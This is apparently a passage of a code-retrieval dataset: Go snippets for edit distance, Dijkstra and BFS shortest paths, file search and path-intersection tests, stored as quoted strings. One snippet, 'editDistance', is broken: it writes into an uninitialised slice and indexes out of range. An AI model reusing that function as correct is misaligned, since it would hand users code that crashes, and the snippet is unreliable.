int\n\n\tlineDistance1 := 0\n\tfor _, line1 := range path1.lines {\n\t\tlineDistance2 := 0\n\t\tfor _, line2 := range path2.lines {\n\t\t\tif !linesArePerpendicular(line1, line2) {\n\t\t\t\tlineDistance2 += line2.length\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvar vLine line\n\t\t\tvar hLine line\n\t\t\tif isVertical(line1) {\n\t\t\t\tvLine = line1\n\t\t\t\thLine = line2\n\t\t\t} else {\n\t\t\t\tvLine = line2\n\t\t\t\thLine = line1\n\t\t\t}\n\n\t\t\tintersection := getIntersection(hLine, vLine)\n\t\t\tif intersection != nil {\n\t\t\t\t// Get length of lines taken to get to intersection\n\t\t\t\tpartialLineDistance1 := comparePointDistance(hLine.point1, *intersection)\n\t\t\t\tpartialLineDistance2 := comparePointDistance(vLine.point1, *intersection)\n\t\t\t\tintersectDistance := lineDistance1 + lineDistance2 + partialLineDistance1 + partialLineDistance2\n\t\t\t\tif shortestDistance == 0 || intersectDistance < shortestDistance {\n\t\t\t\t\tshortestDistance = intersectDistance\n\t\t\t\t}\n\t\t\t}\n\t\t\tlineDistance2 += line2.length\n\t\t}\n\t\tlineDistance1 += line1.length\n\t}\n\treturn shortestDistance\n}", "func BenchmarkSearchShort(b *testing.B) { benchmarkSearch(b, testData[0]) }", "func LevenshteinDistance(str1, str2 string) int {\n\t// Convert string parameters to rune arrays to be compatible with non-ASCII\n\truneStr1 := []rune(str1)\n\truneStr2 := []rune(str2)\n\n\t// Get and store length of these strings\n\truneStr1len := len(runeStr1)\n\truneStr2len := len(runeStr2)\n\tif runeStr1len == 0 {\n\t\treturn runeStr2len\n\t} else if runeStr2len == 0 {\n\t\treturn runeStr1len\n\t} else if utils.Equal(runeStr1, runeStr2) {\n\t\treturn 0\n\t}\n\n\tcolumn := make([]int, runeStr1len+1)\n\n\tfor y := 1; y <= runeStr1len; y++ {\n\t\tcolumn[y] = y\n\t}\n\tfor x := 1; x <= runeStr2len; x++ {\n\t\tcolumn[0] = x\n\t\tlastkey := x - 1\n\t\tfor y := 1; y <= runeStr1len; y++ {\n\t\t\toldkey := column[y]\n\t\t\tvar i int\n\t\t\tif runeStr1[y-1] != runeStr2[x-1] {\n\t\t\t\ti = 1\n\t\t\t}\n\t\t\tcolumn[y] = utils.Min(\n\t\t\t\tutils.Min(column[y]+1, // insert\n\t\t\t\t\tcolumn[y-1]+1), // delete\n\t\t\t\tlastkey+i) // substitution\n\t\t\tlastkey = oldkey\n\t\t}\n\t}\n\n\treturn column[runeStr1len]\n}", "func minDistance(word1 string, word2 string) int {\n\t// dp[i][j] 表示 word1 字符串的前 i 个字符编辑为 word2 字符串的前 j 个字符最少需要多少次操作\n\tm, n := len(word1), len(word2)\n\tdp := make([][]int, m+1)\n\tfor i := 0; i <= m; i++ {\n\t\tdp[i] = make([]int, n+1)\n\t}\n\tfor i := 0; i <= m; i++ {\n\t\tdp[i][0] = i\n\t}\n\tfor i := 0; i <= n; i++ {\n\t\tdp[0][i] = i\n\t}\n\t// 我们用 A = horse,B = ros 作为例子,来看一看是如何把这个问题转化为规模较小的若干子问题的:\n\t// 1、在单词 A 中插入一个字符:如果我们知道 horse 到 ro 的编辑距离为 a,那么显然 horse 到 ros 的编辑距离不会超过 a + 1。\n\t// 这是因为我们可以在 a 次操作后将 horse 和 ro 变为相同的字符串,只需要额外的 1 次操作,在单词 A 的末尾添加字符 s,\n\t// 就能在 a + 1 次操作后将 horse 和 ro 变为相同的字符串;\n\t// 2、在单词 B 中插入一个字符:如果我们知道 hors 到 ros 的编辑距离为 b,那么显然 horse 到 ros 的编辑距离不会超过 b + 1,原因同上;\n\t// 3、修改单词 A 的一个字符:如果我们知道 hors 到 ro 的编辑距离为 c,那么显然 horse 到 ros 的编辑距离不会超过 c + 1,原因同上\n\tfor i := 1; i <= m; i++ {\n\t\tfor j := 1; j <= n; j++ {\n\t\t\tif word1[i-1] == word2[j-1] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = minInt(minInt(dp[i-1][j], dp[i][j-1]), dp[i-1][j-1]) + 1\n\t\t\t}\n\t\t}\n\t}\n\n\treturn dp[m][n]\n}", "func findnextstring(file []byte, index int) (int, []byte, int) {\n\ti := 0\n\n\tfor i = index; i < len(file); i++ {\n\t\tlen := gblen(file, i)\n\t\t//fmt.Printf(\"Length is %d\\n\",len);\n\t\tif len >= *minlength && validgb(file[i:i+len]) {\n\t\t\treturn i, file[i : i+len], i + len\n\t\t}\n\t}\n\n\t//Returns the string address, the string, and the next index\n\t//to search.\n\treturn -1, []byte{}, index + 1\n}", "func TestSearchWordNaive(t *testing.T) {\n\ts, dir := createTestServer(5, 8, 8, 0.000001, uint64(100000))\n\tdefer os.RemoveAll(dir)\n\n\tc, cliDir := createTestClient(s, 0)\n\tdefer os.RemoveAll(cliDir)\n\n\tcontents := []string{\n\t\t\"This is a simple test file\",\n\t\t\"This is another test file\",\n\t\t\"This is a different test file\",\n\t\t\"This is yet another test file\",\n\t\t\"This is the last test file\"}\n\n\tfilenames := make([]string, 5)\n\n\tfor i := 0; i < len(contents); i++ {\n\t\tfile := createTestFile(contents[i])\n\t\tdefer os.Remove(file)\n\t\t_, filenames[i] = path.Split(file)\n\t\tc.AddFile(file)\n\t}\n\n\tc2, cliDir2 := createTestClient(s, 1)\n\tdefer os.RemoveAll(cliDir2)\n\n\texpected := []string{filenames[1], filenames[3]}\n\tsort.Strings(expected)\n\tactual, _, err := c2.SearchWordNaive(\"another\")\n\tif err != nil {\n\t\tt.Fatalf(\"error when searching word: %s\", err)\n\t}\n\tsort.Strings(actual)\n\tif !reflect.DeepEqual(expected, actual) {\n\t\tt.Fatalf(\"incorrect search result\")\n\t}\n\n\tempty, _, err := c2.SearchWordNaive(\"non-existing\")\n\tif err != nil {\n\t\tt.Fatalf(\"error when searching word: %s\", err)\n\t}\n\tif len(empty) > 0 {\n\t\tt.Fatalf(\"filenames found for non-existing word\")\n\t}\n\n\texpected = filenames\n\tsort.Strings(expected)\n\tactual, _, err = c2.SearchWordNaive(\"file\")\n\tif err != nil {\n\t\tt.Fatalf(\"error when searching word: %s\", err)\n\t}\n\tsort.Strings(actual)\n\tif !reflect.DeepEqual(expected, actual) {\n\t\tt.Fatalf(\"incorrect search result\")\n\t}\n\n}", "func Distance(fileA string, fileB string) int {\n\tfilePartsA := SplitAll(fileA)\n\tfilePartsB := SplitAll(fileB)\n\n\tfor i := 0; i < len(filePartsA); i++ {\n\t\tif i >= len(filePartsB) {\n\t\t\treturn (len(filePartsA) - i)\n\t\t}\n\n\t\tif filePartsA[i] != filePartsB[i] {\n\t\t\treturn (len(filePartsA) - i) + (len(filePartsB) - i) - 1\n\t\t}\n\t}\n\n\treturn len(filePartsB) - len(filePartsA)\n}", "func CompareStrings(str1 string, str2 string) (result, error) {\n var r result\n var err error\n r.s1, err = hashString(str1)\n if err != nil {\n return r, err\n }\n r.s2, err = hashString(str2)\n if err != nil {\n return r, err\n }\n r.score, err = ssdeep.Compare(r.s1, r.s2)\n if err != nil {\n return r, err_sscomp\n }\n if r.score == 100 { //100 spotted in the wild for non-identifcal files\n if strings.Compare(r.s1, r.s2) != 0 {\n r.strflag = true\n }\n }\n return r, nil\n}", "func Load(filename string) (*ClosestMatch, error) {\n\tcm := new(ClosestMatch)\n\n\tf, err := os.Open(filename)\n\tdefer f.Close()\n\tif err != nil {\n\t\treturn cm, err\n\t}\n\terr = gob.NewDecoder(f).Decode(&cm)\n\treturn cm, err\n}", "func zopfliComputeShortestPath(num_bytes uint, position uint, ringbuffer []byte, ringbuffer_mask uint, params *encoderParams, dist_cache []int, hasher *h10, nodes []zopfliNode) uint {\n\tvar max_backward_limit uint = maxBackwardLimit(params.lgwin)\n\tvar max_zopfli_len uint = maxZopfliLen(params)\n\tvar model zopfliCostModel\n\tvar queue startPosQueue\n\tvar matches [2 * (maxNumMatchesH10 + 64)]backwardMatch\n\tvar store_end uint\n\tif num_bytes >= hasher.StoreLookahead() {\n\t\tstore_end = position + num_bytes - hasher.StoreLookahead() + 1\n\t} else {\n\t\tstore_end = position\n\t}\n\tvar i uint\n\tvar gap uint = 0\n\tvar lz_matches_offset uint = 0\n\tnodes[0].length = 0\n\tnodes[0].u.cost = 0\n\tinitZopfliCostModel(&model, &params.dist, num_bytes)\n\tzopfliCostModelSetFromLiteralCosts(&model, position, ringbuffer, ringbuffer_mask)\n\tinitStartPosQueue(&queue)\n\tfor i = 0; i+hasher.HashTypeLength()-1 < num_bytes; i++ {\n\t\tvar pos uint = position + i\n\t\tvar max_distance uint = brotli_min_size_t(pos, max_backward_limit)\n\t\tvar skip uint\n\t\tvar num_matches uint\n\t\tnum_matches = findAllMatchesH10(hasher, &params.dictionary, ringbuffer, ringbuffer_mask, pos, num_bytes-i, max_distance, gap, params, matches[lz_matches_offset:])\n\t\tif num_matches > 0 && backwardMatchLength(&matches[num_matches-1]) > max_zopfli_len {\n\t\t\tmatches[0] = matches[num_matches-1]\n\t\t\tnum_matches = 1\n\t\t}\n\n\t\tskip = updateNodes(num_bytes, position, i, ringbuffer, ringbuffer_mask, params, max_backward_limit, dist_cache, num_matches, matches[:], &model, &queue, nodes)\n\t\tif skip < longCopyQuickStep {\n\t\t\tskip = 0\n\t\t}\n\t\tif num_matches == 1 && backwardMatchLength(&matches[0]) > max_zopfli_len {\n\t\t\tskip = brotli_max_size_t(backwardMatchLength(&matches[0]), skip)\n\t\t}\n\n\t\tif skip > 1 {\n\t\t\t/* Add the tail of the copy to the hasher. */\n\t\t\thasher.StoreRange(ringbuffer, ringbuffer_mask, pos+1, brotli_min_size_t(pos+skip, store_end))\n\n\t\t\tskip--\n\t\t\tfor skip != 0 {\n\t\t\t\ti++\n\t\t\t\tif i+hasher.HashTypeLength()-1 >= num_bytes {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tevaluateNode(position, i, max_backward_limit, gap, dist_cache, &model, &queue, nodes)\n\t\t\t\tskip--\n\t\t\t}\n\t\t}\n\t}\n\n\tcleanupZopfliCostModel(&model)\n\treturn computeShortestPathFromNodes(num_bytes, nodes)\n}", "func FindShortestPath(graph *Graph, source *Node, destination *Node) (nodes []*Node, distance int) {\n\t// Initialize queue and other data structures.\n\tqueue := CreatePriorityQueue()\n\tdistances := make(map[*Node]int)\n\tprevious := make(map[*Node]*Node)\n\n\t// Set all distances to maximum.\n\tfor node := range graph.edges {\n\t\tdistances[node] = MaxDistance\n\t\tprevious[node] = nil\n\t\tqueue.Enqueue(node)\n\t}\n\n\t// Start position distance is zero.\n\tdistances[source] = 0\n\n\t// While there are nodes in the queue,\n\t// take the smallest node from the priority queue\n\t// and update distances if possible.\n\tfor len(queue.items) > 0 {\n\t\tnode := queue.Dequeue(distances)\n\n\t\tfor _, neighbor := range graph.edges[node] {\n\t\t\tnewDistance := distances[node] + neighbor.second.(int)\n\t\t\tif newDistance < distances[neighbor.first.(*Node)] {\n\t\t\t\tdistances[neighbor.first.(*Node)] = newDistance\n\t\t\t\tprevious[neighbor.first.(*Node)] = node\n\t\t\t}\n\t\t}\n\t}\n\n\t// Create a slice describing the shortest path.\n\tpath := make([]*Node, 0)\n\tnode := destination\n\tfor node != nil {\n\t\tpath = append(path, node)\n\t\tnode = previous[node]\n\t}\n\n\treturn path, distances[destination]\n}", "func FurthestDistance(directions []string) (max int) {\n\tbyDirection := orderByDirection([]string{})\n\tfor _, direction := range directions {\n\t\tbyDirection[direction]++\n\t\tdistance := findShortestPathFromMap(byDirection)\n\t\tif distance > max {\n\t\t\tmax = distance\n\t\t}\n\t}\n\treturn\n}", "func main() {\n patFile, err := ioutil.ReadFile(\"patterns.txt\")\n if err != nil {\n log.Fatal(err)\n }\n textFile, err := ioutil.ReadFile(\"text.txt\")\n if err != nil {\n log.Fatal(err)\n }\n patterns := strings.Split(string(patFile), \" \")\n fmt.Printf(\"\\nRunning: Set Backward Oracle Matching algorithm.\\n\\n\")\n if debugMode==true { \n fmt.Printf(\"Searching for %d patterns/words:\\n\",len(patterns))\n }\n for i := 0; i < len(patterns); i++ {\n if (len(patterns[i]) > len(textFile)) {\n log.Fatal(\"There is a pattern that is longer than text! Pattern number:\", i+1)\n }\n if debugMode==true { \n fmt.Printf(\"%q \", patterns[i])\n }\n }\n if debugMode==true { \n fmt.Printf(\"\\n\\nIn text (%d chars long): \\n%q\\n\\n\",len(textFile), textFile)\n }\n sbom(string(textFile), patterns)\n}", "func TestLevenshteinDistance(t *testing.T) {\n\tassert.Equal(t, 0, LevenshteinDistance(\"\", \"\"))\n\tassert.Equal(t, 0, LevenshteinDistance(\"🍺\", \"🍺\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"bear\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"bee\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"beer🍺\"))\n\tassert.Equal(t, 3, LevenshteinDistance(\"beer\", \"water\"))\n\tassert.Equal(t, 5, LevenshteinDistance(\"java\", \"golang\"))\n}", "func GetBestEnglishMatch(results []string) string {\n\tmax := 0\n\tstr := \"\"\n\tscore := 0\n\n\tfor _, result := range results {\n\t\tscore = GetScore(result)\n\n\t\tif score > max {\n\t\t\tmax = score\n\t\t\tstr = result\n\t\t}\n\t}\n\n\treturn str\n}", "func SearchFile(fileList []string){\n\n\tf, err := os.Create(\"serach_result.txt\")\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdefer f.Close()\n\n\tfor _,file := range fileList {\n\t\tif strings.Contains(file,sFileName){\n\t\t\tsFile := file + \"\\n\"\n\t\t\tf.WriteString(sFile)\n\t\t\tfmt.Print(sFile)\n\t\t}\t\n\t}\n}", "func LevenschteinDistance(s1, s2 string, dp [][]int) int {\n\tvar c int\n\tfor i := 1; i <= len(s1); i++ {\n\t\tfor j := 1; j <= len(s2); j++ {\n\t\t\tif s1[i-1] == s2[j-1] {\n\t\t\t\tc = 0\n\t\t\t} else {\n\t\t\t\tc = 1\n\t\t\t}\n\t\t\tdp[i][j] = MinOfThree(dp[i-1][j-1]+c, dp[i-1][j]+1, dp[i][j-1]+1)\n\t\t}\n\t}\n\treturn dp[len(s1)][len(s2)]\n}", "func OSADamerauLevenshteinDistance(str1, str2 string) int {\n\t// Convert string parameters to rune arrays to be compatible with non-ASCII\n\truneStr1 := []rune(str1)\n\truneStr2 := []rune(str2)\n\n\t// Get and store length of these strings\n\truneStr1len := len(runeStr1)\n\truneStr2len := len(runeStr2)\n\tif runeStr1len == 0 {\n\t\treturn runeStr2len\n\t} else if runeStr2len == 0 {\n\t\treturn runeStr1len\n\t} else if utils.Equal(runeStr1, runeStr2) {\n\t\treturn 0\n\t} else if runeStr1len < runeStr2len {\n\t\treturn OSADamerauLevenshteinDistance(str2, str1)\n\t}\n\n\t// 2D Array\n\trow := utils.Min(runeStr1len+1, 3)\n\tmatrix := make([][]int, row)\n\tfor i := 0; i < row; i++ {\n\t\tmatrix[i] = make([]int, runeStr2len+1)\n\t\tmatrix[i][0] = i\n\t}\n\n\tfor j := 0; j <= runeStr2len; j++ {\n\t\tmatrix[0][j] = j\n\t}\n\n\tvar count int\n\tfor i := 1; i <= runeStr1len; i++ {\n\t\tmatrix[i%3][0] = i\n\t\tfor j := 1; j <= runeStr2len; j++ {\n\t\t\tif runeStr1[i-1] == runeStr2[j-1] {\n\t\t\t\tcount = 0\n\t\t\t} else {\n\t\t\t\tcount = 1\n\t\t\t}\n\n\t\t\tmatrix[i%3][j] = utils.Min(utils.Min(matrix[(i-1)%3][j]+1, matrix[i%3][j-1]+1),\n\t\t\t\tmatrix[(i-1)%3][j-1]+count) // insertion, deletion, substitution\n\t\t\tif i > 1 && j > 1 && runeStr1[i-1] == runeStr2[j-2] && runeStr1[i-2] == runeStr2[j-1] {\n\t\t\t\tmatrix[i%3][j] = utils.Min(matrix[i%3][j], matrix[(i-2)%3][j-2]+1) // translation\n\t\t\t}\n\t\t}\n\t}\n\treturn matrix[runeStr1len%3][runeStr2len]\n}", "func TestFirstMediumPaths(t *testing.T) {\n\tfirstPath := \"R75,D30,R83,U83,L12,D49,R71,U7,L72\"\n\tsecondPath := \"U62,R66,U55,R34,D71,R55,D58,R83\"\n\n\tdistance, err := findClosestManhattanIntersection(firstPath, secondPath)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif distance != 159 {\n\t\tt.Errorf(\"expected distance == 159, got %d\", distance)\n\t}\n\n\twireDistance, err := findClosestWireIntersection(firstPath, secondPath)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif wireDistance != 610 {\n\t\tt.Errorf(\"expected wireDistance == 610, got %d\", wireDistance)\n\t}\n}", "func (m *RecManager) FindByFilenameShort(records []*RecShort, filename string) *RecShort {\n\tfor _, rec := range records {\n\t\tif rec.Filename == filename {\n\t\t\treturn rec\n\t\t}\n\t}\n\treturn nil\n}", "func (cm *ClosestMatch) Closest(searchWord string) string {\n\tfor _, pair := range rankByWordCount(cm.match(searchWord)) {\n\t\treturn pair.Key\n\t}\n\treturn \"\"\n}", "func editDistance(string1, string2 string) int {\n\tvar dp [][]int\n\n\tfor i := 0; i < len(string1); i++ {\n\t\tfor j := 0; j < len(string2); j++ {\n\t\t\tif i == 0 {\n\t\t\t\tdp[i][j] = j\n\t\t\t} else if j == 0 {\n\t\t\t\tdp[i][j] = i\n\t\t\t} else {\n\t\t\t\tdp[i][j] = 0\n\t\t\t}\n\t\t}\n\t}\n\n\tfor i := 0; i < len(string1); i++ {\n\t\tfor j := 0; j < len(string2); j++ {\n\t\t\ti_idx := i - 1\n\t\t\tj_idx := j - 1\n\t\t\tif string1[i_idx] == string2[j_idx] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tdp[i][j] = 1 + min(dp[i][j]+dp[i-1][j], dp[i][j]+dp[i][j-1], dp[i][j]+dp[i-1][j-1])\n\t\t\t}\n\t\t}\n\t}\n\treturn dp[len(string1)+1][len(string2)+1]\n\n}", "func Diff(text1, text2 string) string {\n\tif text1 != \"\" && !strings.HasSuffix(text1, \"\\n\") {\n\t\ttext1 += \"(missing final newline)\"\n\t}\n\tlines1 := strings.Split(text1, \"\\n\")\n\tlines1 = lines1[:len(lines1)-1] // remove empty string after final line\n\tif text2 != \"\" && !strings.HasSuffix(text2, \"\\n\") {\n\t\ttext2 += \"(missing final newline)\"\n\t}\n\tlines2 := strings.Split(text2, \"\\n\")\n\tlines2 = lines2[:len(lines2)-1] // remove empty string after final line\n\n\t// Naive dynamic programming algorithm for edit distance.\n\t// https://en.wikipedia.org/wiki/Wagner–Fischer_algorithm\n\t// dist[i][j] = edit distance between lines1[:len(lines1)-i] and lines2[:len(lines2)-j]\n\t// (The reversed indices make following the minimum cost path\n\t// visit lines in the same order as in the text.)\n\tdist := make([][]int, len(lines1)+1)\n\tfor i := range dist {\n\t\tdist[i] = make([]int, len(lines2)+1)\n\t\tif i == 0 {\n\t\t\tfor j := range dist[0] {\n\t\t\t\tdist[0][j] = j\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tfor j := range dist[i] {\n\t\t\tif j == 0 {\n\t\t\t\tdist[i][0] = i\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcost := dist[i][j-1] + 1\n\t\t\tif cost > dist[i-1][j]+1 {\n\t\t\t\tcost = dist[i-1][j] + 1\n\t\t\t}\n\t\t\tif lines1[len(lines1)-i] == lines2[len(lines2)-j] {\n\t\t\t\tif cost > dist[i-1][j-1] {\n\t\t\t\t\tcost = dist[i-1][j-1]\n\t\t\t\t}\n\t\t\t}\n\t\t\tdist[i][j] = cost\n\t\t}\n\t}\n\n\tvar buf strings.Builder\n\ti, j := len(lines1), len(lines2)\n\tfor i > 0 || j > 0 {\n\t\tcost := dist[i][j]\n\t\tif i > 0 && j > 0 && cost == dist[i-1][j-1] && lines1[len(lines1)-i] == lines2[len(lines2)-j] {\n\t\t\tfmt.Fprintf(&buf, \" %s\\n\", lines1[len(lines1)-i])\n\t\t\ti--\n\t\t\tj--\n\t\t} else if i > 0 && cost == dist[i-1][j]+1 {\n\t\t\tfmt.Fprintf(&buf, \"-%s\\n\", lines1[len(lines1)-i])\n\t\t\ti--\n\t\t} else {\n\t\t\tfmt.Fprintf(&buf, \"+%s\\n\", lines2[len(lines2)-j])\n\t\t\tj--\n\t\t}\n\t}\n\treturn buf.String()\n}", "func calcShortestPath(maze [][]Vertex) int {\n\tvar currVertex, destination, lastVertex *Vertex\n\tfinished := false\n\t\n\tcurrVertex = findCheapestOpenVertex(maze[0:])\t// Finds the starting point \"S\"\n\t\n\tfor !finished {\t\t\t\t\t\t// Keeps looping until the optimal path to the exit is found\n\t\tcurrVertex.isOpen = false\t\t// Marks analyzed vertex as visited, so as to not visit it again\n\t\tif currVertex.cellChar == \"G\" {\t// Set the finished flag, if the optimal route to exit is found\n\t\t\tdestination = currVertex\n\t\t\tfinished = true\n\t\t}\n\t\t\n\t\tupdateTouchingVertices(currVertex, maze[0:])\t// Calculates the costs of adjacent vertices\n\t\t\n\t\tcurrVertex = findCheapestOpenVertex(maze[0:])\t// Analyzes the next cheapest vertex\n\t}\n\t\n\tlastVertex = &maze[destination.lastVertexRow][destination.lastVertexCol]\t// Jumps to the last visited vertex from the exit vertex\n\tfinished = false\t// Resets the flag, so that it can be used in the upcoming loop\n\tfor !finished {\t\t// Keep looping\tuntil the optimal path is drawn\n\t\tif lastVertex.cellChar != \"S\" && lastVertex.cellChar != \"G\" {\n\t\t\tlastVertex.cellChar = \"*\"\n\t\t}\n\t\t\n\t\tif lastVertex.lastVertexRow != -1 || lastVertex.lastVertexCol != -1 {\t\t// If not the starting vertex\n\t\t\tlastVertex = &maze[lastVertex.lastVertexRow][lastVertex.lastVertexCol]\t// Jump to the previous vertex\n\t\t} else {\n\t\t\tfinished = true\n\t\t}\n\t}\n\t\n\treturn destination.cost\n}", "func minDistance(word1 string, word2 string) int {\n\tl1 := len(word1)\n\tl2 := len(word2)\n\tgrid := make([][]int, l1+1)\n\tfor i := 0; i < l1+1; i++ {\n\t\tgrid[i] = make([]int, l2+1)\n\t}\n\tgrid[0][0] = 0\n\tfor i := 1; i < l1+1; i++ {\n\t\tgrid[i][0] = i\n\t}\n\tfor j := 1; j < l2+1; j++ {\n\t\tgrid[0][j] = j\n\t}\n\n\tfor i := 1; i < l1+1; i++ {\n\t\tfor j := 1; j < l2+1; j++ {\n\t\t\tif word1[i-1] == word2[j-1] {\n\t\t\t\tgrid[i][j] = grid[i-1][j-1]\n\t\t\t} else {\n\t\t\t\tgrid[i][j] = min3(grid[i-1][j], grid[i][j-1], grid[i-1][j-1]) + 1\n\t\t\t}\n\t\t}\n\t}\n\treturn grid[l1][l2]\n}", "func leastSpecificPath(paths [][]string) []string {\n\tvar shortPath []string\n\tfor _, p := range paths {\n\t\tif shortPath == nil {\n\t\t\tshortPath = p\n\t\t}\n\n\t\tif len(p) < len(shortPath) {\n\t\t\tshortPath = p\n\t\t}\n\t}\n\n\treturn shortPath\n}", "func printLevenshteinDistance(dp [][]int, word1, word2 string) {\n\tfor i := 0; i < len(dp); i++ {\n\t\tif i > 0 {\n\t\t\tfmt.Print(string(word2[i-1]), \" \")\n\t\t}\n\t\tif i == 0 {\n\t\t\tfmt.Print(\" \")\n\t\t\tfor j := 0; j < len(word1); j++ {\n\t\t\t\tfmt.Print(string(word1[j]), \" \")\n\t\t\t}\n\t\t\tfmt.Println(\"\")\n\t\t\tfmt.Print(\" \")\n\t\t}\n\t\tfor j := 0; j < len(dp[i]); j++ {\n\t\t\tfmt.Print(dp[i][j], \" \")\n\t\t}\n\t\tfmt.Println()\n\t}\n}", "func Search(file string, searchString string, log *zap.SugaredLogger) (matches []string) {\n\tpat := []byte(searchString)\n\tfp := common.GetFileAbsPath(file, log)\n\tf, err := os.Open(fp)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer f.Close()\n\n\t// start a scanner to search the operations\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tif bytes.Contains(scanner.Bytes(), pat) {\n\t\t\t// if this matches we know the string is somewhere **within a line of text**\n\t\t\t// we should split that line of text (strings.Fields) and range over those to ensure that we\n\t\t\t// don't count the entire line as the actual hit\n\t\t\t// This should be enough for yaml (althoug I imagine it would also detect stuff in comments)\n\t\t\t// but it would be madness for a json operations for example..\n\t\t\tfor _, field := range strings.Fields(scanner.Text()) {\n\t\t\t\tif bytes.Contains([]byte(field), pat) {\n\t\t\t\t\t// val := strings.Fields(scanner.Text())[1]\n\t\t\t\t\tmatches = append(matches, field)\n\t\t\t\t\t//log.Debug(scanner.Text())\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif err := scanner.Err(); err != nil {\n\t\tlog.Error(err)\n\t}\n\t//if len(matches) > 0 {\n\t//\tlog.Debugw(\"Search found some matches\",\n\t//\t\t\"searchString\", searchString,\n\t//\t\t\"operations\", file,\n\t//\t\t\"matches\", matches,\n\t//\t)\n\t//} else {\n\t//\tlog.Debugw(\"Search found no matches\",\n\t//\t\t\"searchString\", searchString,\n\t//\t\t\"operations\", file,\n\t//\t\t\"matches\", matches,\n\t//\t)\n\t//}\n\treturn matches\n}", "func arrayClosest(values []string, input string) string {\n\tbest := \"\"\n\tfor _, v := range values {\n\t\tif strings.Contains(input, v) && len(v) > len(best) {\n\t\t\tbest = v\n\t\t}\n\t}\n\treturn best\n}", "func minDistance(word1 string, word2 string) int {\n\tn1, n2 := len(word1), len(word2)\n\n\t// dp[i][j] == k 表示 word1[:i] 和 word2[:j] 的最大公共子序列的长度为 k\n\tdp := make([][]int, n1+1)\n\tfor i := range dp {\n\t\tdp[i] = make([]int, n2+1)\n\t}\n\tmax := func(a, b int) int {\n\t\tif a > b {\n\t\t\treturn a\n\t\t}\n\t\treturn b\n\t}\n\tfor i := 1; i <= n1; i++ {\n\t\tfor j := 1; j <= n2; j++ {\n\t\t\tdp[i][j] = max(dp[i-1][j], dp[i][j-1])\n\t\t\tif word1[i-1] == word2[j-1] {\n\t\t\t\tdp[i][j] = dp[i-1][j-1] + 1\n\t\t\t}\n\t\t}\n\t}\n\n\treturn n1 + n2 - dp[n1][n2]*2\n}", "func (abb *Abbrev) Shortest() string {\n\treturn strings.Join(abb.pre, \"\")\n}", "func FindShortedPathsDijkstra(wdgr ewgraph.EdgeWeightedGraph, vertexID int) ShortestPaths {\n\tif vertexID < 0 || vertexID > wdgr.NumVertices()-1 {\n\t\tpanic(fmt.Sprintf(\"vertex '%d' is out of range\", vertexID))\n\t}\n\tnumVertices := wdgr.NumVertices()\n\tedgeTo := make([]int, numVertices)\n\tutils.ResetList(edgeTo)\n\tdistTo := make([]float64, numVertices)\n\tfor i := range distTo {\n\t\tdistTo[i] = math.MaxFloat64\n\t}\n\tdistTo[vertexID] = 0.0\n\tverticesQueue := ipq.New(func(lhs, rhs float64) bool {\n\t\treturn lhs < rhs\n\t})\n\tverticesQueue.Insert(vertexID, distTo[vertexID])\n\trelaxVerticesDijkstra(wdgr, edgeTo, distTo, verticesQueue)\n\tvertexCount := 0\n\tfor _, edgeID := range edgeTo {\n\t\tif edgeID >= 0 {\n\t\t\tvertexCount++\n\t\t}\n\t}\n\treturn ShortestPaths{\n\t\tsourceVertex: vertexID,\n\t\tvertexCount: vertexCount,\n\t\tedgeTo: edgeTo,\n\t\tdistTo: distTo,\n\t}\n}", "func (gph *Graph) ShortestPath(source int) {\n\tvar curr int\n\tcount := gph.count\n\tdistance := make([]int, count)\n\tpath := make([]int, count)\n\tque := queue.New()\n\tfor i := 0; i < count; i++ {\n\t\tdistance[i] = -1\n\t}\n\tque.Enqueue(source)\n\tdistance[source] = 0\n\tpath[source] = source\n\tfor que.Len() != 0 {\n\t\tcurr = que.Dequeue().(int)\n\t\thead := gph.Edges[curr]\n\t\tfor head != nil {\n\t\t\tif distance[head.destination] == -1 {\n\t\t\t\tdistance[head.destination] = distance[curr] + 1\n\t\t\t\tpath[head.destination] = curr\n\t\t\t\tque.Enqueue(head.destination)\n\t\t\t}\n\t\t\thead = head.next\n\t\t}\n\t}\n\tfor i := 0; i < count; i++ {\n\t\tfmt.Println(path[i], \" to \", i, \" weight \", distance[i])\n\t}\n}", "func FindShort(s string) int {\n\tstrSplit := strings.Split(s, \" \")\n\tans := len(strSplit[0])\n\tfor _, v := range strSplit {\n\t\tif ans > len(v) {\n\t\t\tans = len(v)\n\t\t}\n\t}\n\treturn ans\n}", "func Levenshtein(embed *discordgo.MessageEmbed) *discordgo.MessageEmbed {\n\tembed.Author.Name = \"Command: leven / levenshtein\"\n\tembed.Description = \"`(leven|levenshtein) <word1> <word2>` gives the levenshtein value between 2 words.\"\n\tembed.Fields = []*discordgo.MessageEmbedField{\n\t\t{\n\t\t\tName: \"<word1> <word2>\",\n\t\t\tValue: \"The 2 words to complete the value of.\",\n\t\t},\n\t\t{\n\t\t\tName: \"What is the levenshtein distance?\",\n\t\t\tValue: \"It is a way to calculate how different two words / phrases are from each other.\\nhttps://en.wikipedia.org/wiki/Levenshtein_distance\",\n\t\t},\n\t}\n\treturn embed\n}", "func TestSecondMediumPaths(t *testing.T) {\n\tfirstPath := \"R98,U47,R26,D63,R33,U87,L62,D20,R33,U53,R51\"\n\tsecondPath := \"U98,R91,D20,R16,D67,R40,U7,R15,U6,R7\"\n\n\tdistance, err := findClosestManhattanIntersection(firstPath, secondPath)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif distance != 135 {\n\t\tt.Errorf(\"expected distance == 135, got %d\", distance)\n\t}\n\n\twireDistance, err := findClosestWireIntersection(firstPath, 